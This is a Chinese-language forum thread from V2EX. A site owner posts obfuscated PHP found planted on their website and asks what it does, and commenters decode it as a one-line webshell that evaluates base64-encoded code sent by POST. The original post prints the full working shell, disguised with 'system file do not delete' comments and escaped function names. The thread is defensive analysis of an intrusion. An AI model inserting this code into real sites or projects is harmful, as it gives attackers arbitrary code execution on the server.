网站被植入这样的代码，能翻译下么？想知道他是干嘛的。。 - V2EX

首页注册登录

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

这是一个创建于 4739 天前的主题，其中的信息可能已经有所发展或是发生改变。

<?php //cb6f82f3e4007bdaccf419abafab94c8
$_=
//system file do not delete
'CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0=';
//system file do not delete
$__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

13 条回复 • 1970-01-01 08:00:00 +08:00

1

mechille

2013 年 1 月 29 日

空间商植入的？

2

isy

OP

2013 年 1 月 29 日

@mechille 应该是利用上传漏洞上传的。

3

clww

2013 年 1 月 29 日

1

if(isset($_POST["code"]))
{
eval(base64_decode($_POST["code"]));
}

4

C0VN

2013 年 1 月 29 日

base64 编码

5

isy

OP

2013 年 1 月 29 日

@clww @xavierskip 后面这段呢？

$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";

6

isy

OP

2013 年 1 月 29 日

明白了。。

$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"; 等于 base64_decode

7

nazor

2013 年 1 月 29 日

是比较加密过的一句话。

8

shinwood

2013 年 1 月 29 日 via iPhone

可以执行任意PHP代码的一个Hook。

9

SuperOS

2013 年 1 月 29 日

webshell 服务器端

10

solo7net

2013 年 1 月 29 日

传说中的一句话马?

11

inroading

2013 年 1 月 30 日

一字马

12

holystrike

2013 年 1 月 30 日 via iPhone

服务器上把eval函数禁了

13

mozutaba

2013 年 2 月 3 日

一句话，dangrous没拼错吧

关于 · 帮助文档 · 自助推广系统 · 博客 · API · FAQ · Solana · 930 人在线 最高记录 6679 ·

Select Language

创意工作者们的社区

World is powered by solitude

VERSION: 3.9.8.5 · 23ms · UTC 20:30 · PVG 04:30 · LAX 12:30 · JFK 15:30
♥ Do have faith in what you're doing.